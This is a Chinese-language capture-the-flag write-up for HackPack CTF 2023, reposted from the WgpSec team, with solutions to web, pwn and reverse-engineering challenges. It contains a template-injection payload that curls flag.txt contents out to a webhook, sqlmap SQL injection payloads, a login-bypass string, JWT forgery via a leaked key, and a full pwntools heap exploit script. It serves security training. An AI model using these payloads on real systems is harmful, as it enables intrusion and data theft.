HackPack CTF 2023 WP

admin 2023年4月20日09:17:37评论28 views字数 4380阅读14分36秒阅读模式

声明

本文作者:CTF战队
本文字数:4318字

阅读时长:约11分钟

附件/链接:点击查看原文下载

本文属于【狼组安全社区】原创奖励计划,未经许可禁止转载

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,狼组安全团队以及文章作者不为此承担任何责任。

狼组安全团队有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经狼组安全团队允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

前言

HackPack CTF 2023 WP

下载比赛附件

HackPack CTF 2023 附件下载

https://pan.wgpsec.org/CTF/HackPack%20CTF%202023

WEB

issue-tracker

HackPack CTF 2023 WP
image.png

可用payload

 {{process.mainModule.require('child_process').exec('curl https://webhook.site/3cb22bdf-1ff2-47d5-b99f-d6b7b186398b?$(cat flag.txt | base64)')}}

添加的时候上下都添加一下类似于这样

HackPack CTF 2023 WP

开一个webhookHackPack CTF 2023 WP

WolfHowl | SOLVED | working : 1sp

HackPack CTF 2023 WP

注入点在搜索框,闭合方式为双引号HackPack CTF 2023 WP

sqlmapHackPack CTF 2023 WP

payload

---
Parameter: artist (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: artist=-3263" OR 7394=7394#

Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: artist=1" AND GTID_SUBSET(CONCAT(0x716a6a7171,(SELECT (ELT(5396=5396,1))),0x7178717871),5396)-- bSiP

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: artist=1" AND (SELECT 5372 FROM (SELECT(SLEEP(5)))YAdL)-- yXsn

Type: UNION query
Title: MySQL UNION query (NULL) - 4 columns
Payload: artist=1" UNION ALL SELECT CONCAT(0x716a6a7171,0x63625249444c584a65536b6c4d5465485a4e7777704971536d697a6e66694d534a4b6372577a5953,0x7178717871),NULL,NULL,NULL#
---

HackPack CTF 2023 WP
image.png

HackerChat

HackPack CTF 2023 WP

HackPack CTF 2023 WP

sql 注入HackPack CTF 2023 WP

数据是 jwt 格式存储的,登录成功会有回显HackPack CTF 2023 WP

确认为 sqlite 3.27.2 版本HackPack CTF 2023 WP

查询表结构HackPack CTF 2023 WP

但是密码是加密后的,于是我们尝试读取 jwt 形式的留言 可以排除 notes 字段。。不过 notes 里面的 secret reminder 还不清楚是什么HackPack CTF 2023 WP

secret reminder: 8vqB5xhrTdPzPDXpSpOTY3oTB3ExpZJdrsFGm/hq/yE=

然后 admin 的加密密码是这个

88f610ef47779376b014e9fea4e0b76c0e4608d5dd339e4f782c8ee41d4f1d2e1d3992d5da8d6ea206da0914d4f30e0903b6a8606772e84bf0d33f0625a4c4c1ca929feef818c0fb82266fc32a31ea0b6a2de955f55a71fdfe0fb7bfa6f48dec

HackPack CTF 2023 WP

admin 的 notes 是 jwt 的密钥,伪造用户名登录HackPack CTF 2023 WP

Pwn

Number Store

HackPack CTF 2023 WP
image.png
#!/usr/bin/python2
from pwn import *
context(arch='amd64',endian='el',os='linux')
context.log_level='debug'
context.terminal = ['tmux','splitw','-h']

l64 = lambda :u64(p.recvuntil("x7f")[-6:].ljust(8,"x00"))
l32 = lambda :u32(p.recvuntil("xf7")[-4:].ljust(4,"x00"))
leak = lambda name,data : p.success(name + ": 0x%x" % data)
sd = lambda payload: p.send(payload)
sa = lambda a,b :p.sendafter(str(a),str(b))
sl = lambda payload: p.sendline(payload)
sla = lambda a,b :p.sendlineafter(str(a),str(b))
ru = lambda a :p.recvuntil(str(a))
r = lambda a :p.recv(str(a))

debug = 2
if debug == 1:
p = process(['./chall'])
else:
p = remote('cha.hackpack.club',41705)
elf = ELF('./chall',checksec=False)
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
def add(index,name,number):
sla("Choose option: ",1)
sla(": ",index)
sla("Enter object name: ",name)
sla("Enter number: ",number)
def free(index):
sla("Choose option: ",2)
sla(": ",index)

def edit(index,number):
sla("Choose option: ",3)
sla(": ",index)
sa("Enter new number: ",number)
def show(index):
sla("Choose option: ",4)
sla(": ",index)
def addrand():
sla("Choose option: ",6)

add(0,'aaaaaaaa',1)
add(1,'aaaaaaaa',1)
add(2,'aaaaaaaa',1)

free(0)
free(1)
show(1)
heap_base = u64(p.recvuntil("x0a")[-7:-1].ljust(8,'x00')) - 0x3b0

addrand()
show(1)
p.recvuntil("x0a")
main_base = int(p.recvline(),10)
flag = main_base - 57 + 44 - 6
edit(1,str(flag))
sl('')
addrand()
info("heap_base = " + hex(heap_base))
info("main_base = " + hex(main_base))
p.interactive()

flag{n3v3r_tru5t_fr33_jVmVsEuj}

Low Code, Low Security

HackPack CTF 2023 WP

看题得出是画流程图然后上传,大概画了画如下:HackPack CTF 2023 WP

由于没有源码,我们得观测一下远程返回,可以看到如下:HackPack CTF 2023 WP

所有猜测是sql的洞,然后sql注入即可。创建一个账号登录时密码设计为**"admin' OR '1=1"** 然后上传文件,就有flag了HackPack CTF 2023 WP

flag{eZ_M0n3y!1?}

Misc

Cat Me if You Can

HackPack CTF 2023 WP

HackPack CTF 2023 WP

RE

Speed-Rev: Humans

HackPack CTF 2023 WP

一共有6个level,nc之后,得到第一个HackPack CTF 2023 WP

是base64加密后的文件,解密以后,得到elf文件,得到第一个flag

6iSGODh39bqvH0EF

第二个还是base64解密文件,得到

HackPack CTF 2023 WP

动态的

pSLPV4TH96ZHbNUq

第三个

HackPack CTF 2023 WP

q2bPAaYuMVl2HLUw

第四个要算线性方程 打算用z3 chatgpt没算出来

HackPack CTF 2023 WP

这个题出的不严谨,多解,但是还没有说是必须在大小写字母和数字之间选择,并且它是动态的套娃,每次都得重新重新做一遍,出的不严谨 z(z3加约束就能解开

from z3 import *

x = [Int(f'x{i}') for i in range(16)]

solver = Solver()

solver.add(x[0] + x[1] == 169)
solver.add(x[1] + x[2] == 214)
solver.add(x[2] + x[3] == 211)
solver.add(x[3] + x[4] == 158)
solver.add(x[4] + x[5] == 148)
solver.add(x[5] + x[6] == 218)
solver.add(x[6] + x[7] == 192)
solver.add(x[7] + x[8] == 158)
solver.add(x[8] + x[9] == 196)
solver.add(x[9] + x[10] == 159)
solver.add(x[10] + x[11] == 168)
solver.add(x[11] + x[12] == 227)
solver.add(x[12] + x[13] == 222)
solver.add(x[13] + x[14] == 218)
solver.add(x[14] + x[15] == 168)

for i in range(16):
solver.add(Or(
And(x[i] >= 48, x[i] <= 57), # 48 到57
And(x[i] >= 65, x[i] <= 90), # 65到90
And(x[i] >= 97, x[i] <= 122) # 97到122
))

if solver.check() == sat:
model = solver.model()
result = "".join([chr(model[x[i]].as_long()) for i in range(16)])
print(result)
else:
print("unsat")

第五个

HackPack CTF 2023 WP

第六个

HackPack CTF 2023 WP

后记

CTF战队持续招新~
简历投至[email protected]

作者

HackPack CTF 2023 WP

CTF战队

ctf.wgpsec.org

扫描关注公众号回复加群

和师傅们一起讨论研究~

WgpSec狼组安全团队

微信号:wgpsec

Twitter:@wgpsec

HackPack CTF 2023 WP
HackPack CTF 2023 WP

原文始发于微信公众号(WgpSec狼组安全团队):HackPack CTF 2023 WP

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年4月20日09:17:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HackPack CTF 2023 WPhttp://cn-sec.com/archives/1681422.html

发表评论

匿名网友 填写信息